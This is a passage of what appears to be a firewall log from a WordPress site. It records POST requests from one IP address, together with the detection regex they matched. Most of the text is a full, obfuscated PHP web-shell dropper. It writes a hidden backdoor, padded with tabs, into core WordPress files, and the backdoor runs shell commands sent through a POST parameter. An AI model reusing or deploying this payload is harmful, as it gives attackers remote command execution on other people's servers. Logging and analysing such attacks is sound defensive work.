277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent6%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent2%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ent1%2520.%2520%25272%2527%2520.%2520%2524ent1%2520.%2520%25275%2527%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent9%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent11%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent12%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%2524ent5%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent2%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%2524ent13%2520.%2520%2524ent5%2520.%2520%2524ent12%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%2524ent11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524event_handler%252C%2524marker_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_mrk%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524ptr_data%253D%2524api_gateway5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524ptr_data%2529%257B%2524flg_pointer%253D%2524api_gateway6%2528%2524ptr_data%2529%253B%2524api_gateway7%2528%2524ptr_data%2529%253Bprint%2520%2524flg_pointer%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:41:38","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25273%2527%253B%2524ent3%2520%253D%2520%25279%2527%253B%2524ent4%2520%253D%2520%25275%2527%253B%2524ent5%2520%253D%2520%25276%2527%253B%2524ent6%2520%253D%2520%2527d%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%25270%2527%253B%2524ent9%2520%253D%2520%2527e%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%25272%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%25278%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent6%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent2%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ent1%2520.%2520%25272%2527%2520.%2520%2524ent1%2520.%2520%25275%2527%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent9%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent11%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent12%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%2524ent5%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent2%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%2524ent13%2520.%2520%2524ent5%2520.%2520%2524ent12%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%2524ent11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524event_handler%252C%2524marker_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_mrk%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524ptr_data%253D%2524api_gateway5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524ptr_data%2529%257B%2524flg_pointer%253D%2524api_gateway6%2528%2524ptr_data%2529%253B%2524api_gateway7%2528%2524ptr_data%2529%253Bprint%2520%2524flg_pointer%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:8836\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25273%2527%253B%2524ent3%2520%253D%2520%25279%2527%253B%2524ent4%2520%253D%2520%25275%2527%253B%2524ent5%2520%253D%2520%25276%2527%253B%2524ent6%2520%253D%2520%2527d%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%25270%2527%253B%2524ent9%2520%253D%2520%2527e%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%25272%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%25278%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent6%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent2%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ent1%2520.%2520%25272%2527%2520.%2520%2524ent1%2520.%2520%25275%2527%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent9%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent11%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent12%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%2524ent5%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent2%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%2524ent13%2520.%2520%2524ent5%2520.%2520%2524ent12%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%2524ent11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524event_handler%252C%2524marker_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_mrk%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524ptr_data%253D%2524api_gateway5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524ptr_data%2529%257B%2524flg_pointer%253D%2524api_gateway6%2528%2524ptr_data%2529%253B%2524api_gateway7%2528%2524ptr_data%2529%253Bprint%2520%2524flg_pointer%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 20:41:39","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%